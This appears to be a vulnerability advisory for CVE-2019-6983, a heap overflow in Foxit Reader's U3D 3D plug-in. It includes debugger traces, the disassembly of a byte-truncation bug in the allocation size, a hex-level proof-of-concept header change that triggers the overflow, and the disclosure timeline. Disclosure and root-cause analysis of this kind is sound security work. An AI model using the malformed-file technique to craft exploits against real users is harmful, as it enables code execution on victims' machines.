CVE: CVE-2019-6983
Tested Versions: Foxit Reader 9.1.0.5096, U3DBrowser.fpi 9.1.0.425
Product URL(s): https://www.foxitsoftware.com/pdf-reader/
Foxit Reader is a popular PDF reading and printing software. It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via the U3DBrowser plug-in, which allows viewing embedded 3D annotations in PDF files. Up to version 9.0.1.1049 the plug-in is loaded in its default installation package, subsequent version continues the support to its user base with the plug-in separately acquired.
Any PDF file that embeds certain specially crafted 3D content, specifically, a malformed File Header Block with carefully crafted Data Size and Metadata Size, could result in a classic heap overflow that allows fully controlled content and length overwriting the heap boundary.
0:000> sxe ld U3DBrowser.fpi
0:000> g
StopRequestModLoad: 68bf0000 68dd5000 c:\FoxitReader\plugins\U3DBrowser.fpi
eax=0d33c000 ebx=00000000 ecx=0d262ed4 edx=0d33c000 esi=7ffdf000 edi=00000000
eip=76eba364 esp=001b1fbc ebp=001b2014 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ntdll!KiFastSystemCallRet:
76eba364 c3 ret
0:000> bp !U3DBrowser + 48318 4
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000118 ecx=6a231ef8 edx=6a2c3068 esi=142f2fe0 edi=14309fe4
eip=68c38318 esp=001cd6f4 ebp=001cd72c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
U3DBrowser!PlugInMain+0x3a5d8:
68c38318 ff15d421d768 call dword ptr [U3DBrowser!PlugInMain+0x174494 (68d721d4)] ds:0023:68d721d4={MSVCR100!fread (6a232c24)}
0:000> ub
U3DBrowser!PlugInMain+0x3a5ca:
68c3830a 751a jne U3DBrowser!PlugInMain+0x3a5e6 (68c38326)
68c3830c 8b5614 mov edx,dword ptr [esi+14h]
68c3830f 53 push ebx
68c38310 8b5d10 mov ebx,dword ptr [ebp+10h]
68c38313 52 push edx ; FILE *fp = 6a2c3068
68c38314 53 push ebx ; size_t nmemb = 0x118
68c38315 6a01 push 1 ; size_t size
68c38317 57 push edi ; void *ptr = 14309fe4
0:000> dd esp l4
001cd6f4 14309fe4 00000001 00000118 6a2c3068
0:000> p
(4f8.8e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000117 ecx=0000003f edx=00000000 esi=1430701c edi=1430a000
eip=6a211f34 esp=001cd634 ebp=001cd63c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR100!memcpy+0xb4:
6a211f34 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !heap -p -a 14309fe4
address 14309fe4 found in
_DPH_HEAP_ROOT @ be91000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
142c1138: 14309fd8 24 - 14309000 2000
6d2d9fcd verifier!AVrfDebugPageHeapAllocate+0x0000029d
76f06ff4 ntdll!RtlDebugAllocateHeap+0x00000030
76ed5a8c ntdll!RtlpAllocateHeap+0x000000c0
76e8dbbd ntdll!RtlAllocateHeap+0x00000243
6a220269 MSVCR100!malloc+0x00000036
6a22233b MSVCR100!operator new+0x00000010
68c3e81c U3DBrowser!PlugInMain+0x00040adc
68c3d8ae U3DBrowser!PlugInMain+0x0003fb6e
68c3c3b4 U3DBrowser!PlugInMain+0x0003e674
[ ... ]
0:000> dd 14309fd8 L10
14309fd8 00443355 00000018 00000100 00000000
14309fe8 00000000 00000024 000005f8 00000000
14309ff8 0000006a ffffff15 ???????? ????????
1430a008 ???????? ???????? ???????? ????????
The buffer allocated for the U3D File Header Block is computed as of size 0x24
bytes, as the Block Type, Data Size and Metadata Size already occupied 0xC
bytes, this fread()
call should not read more than 0x18
bytes.
Vulnerability
When processing a carefully crafted PDF with 3D stream containing a malformed U3D File Header Block of type 0x00443355
with the Data Size and Metadata Size adding up beyond 0x1C
with their lowest byte, an attacker can potentially achieve arbitrary code execution at the privilege of the logged on user.
Proof-of-Concept
Original File Header Block of type 0x00443355:
00000000: 55 33 44 00 18 00 00 00 00 00 00 00 00 00 00 00 U3D.............
00000010: 00 00 00 00 24 00 00 00 f8 05 00 00 00 00 00 00 ....$...........
00000020: 6a 00 00 00 15 ff ff ff 04 00 00 00 00 00 00 00 j...............
PoC: changing the Metadata Size to 0x100:
00000000: 55 33 44 00 18 00 00 00 00 01 00 00 00 00 00 00 U3D.............
00000010: 00 00 00 00 24 00 00 00 f8 05 00 00 00 00 00 00 ....$...........
00000020: 6a 00 00 00 15 ff ff ff 04 00 00 00 00 00 00 00 j...............
From the earlier debug trace, setting a breakpoint on the offending fread()
on the 4th hit, it is clear that an abundant number of 0x118
bytes are to be read into a fixed buffer of 0x18 + 0x4
bytes remaining.
68c38313 52 push edx ; FILE *fp = 6a2c3068
68c38314 53 push ebx ; size_t nmemb = 0x118
68c38315 6a01 push 1 ; size_t size
68c38317 57 push edi ; void *ptr = 14309fe4
The vulnerability is triggered by altering the Metadata Size of the U3D File Header Block. The code allocated a buffer of 0x24
bytes for the file header but simply used the supplied data size and metadata size for the fread()
, resulting in a classic heap overflow vulnerability with completely controlled content and length for the overwrite. In fact the allocation size 0x24
is computed from the supplied values of data size 0x18
and metadata size 0x100
, but from a casting error, only the lowest bytes are used:
.text:1004E7DD mov eax, [ebp+var_4] ; 0x18 - data size
.text:1004E7E0 mov ecx, [ebp+var_8] ; 0x100 - metadata size
.text:1004E7E3 dec eax
.text:1004E7E4 and eax, 0FFFFFFFCh
.text:1004E7E7 dec ecx
.text:1004E7E8 add eax, 4 ; pad to align
.text:1004E7EB and ecx, 0FFFFFFFCh
.text:1004E7EE add ecx, 4 ; pad to align
.text:1004E7F1 mov [ebp+var_4], eax
.text:1004E7F4 add al, cl ; byte treating 0x100 as 0x0
.text:1004E7F6 add al, 0Ch
.text:1004E7F8 movzx eax, al
.text:1004E7FB mov [ebp+var_8], ecx
.text:1004E7FE cmp eax, 20h ; validate
.text:1004E801 jnb short loc_1004E816
.text:1004E803 pop edi
.text:1004E804 pop esi
.text:1004E805 mov [ebp+arg_0], 80000003h
.text:1004E80C mov eax, [ebp+arg_0]
.text:1004E80F pop ebx
.text:1004E810 mov esp, ebp
.text:1004E812 pop ebp
.text:1004E813 retn 8
.text:1004E816 ; -------------------------------------------------------------------
.text:1004E816
.text:1004E816 loc_1004E816: ; XREF: sub_1004E6F0+111↑j
.text:1004E816 push eax ; 0x24
.text:1004E817 call j_??2@YAPAXI@Z ; operator new(uint)
Timeline
- 2018-11-27 Vendor disclosure
- 2019-01-03 Vendor patched
Vendor Response
The vendor has patched the 3D plugin and acknowledged the security issues at https://www.foxitsoftware.com/support/security-bulletins.php.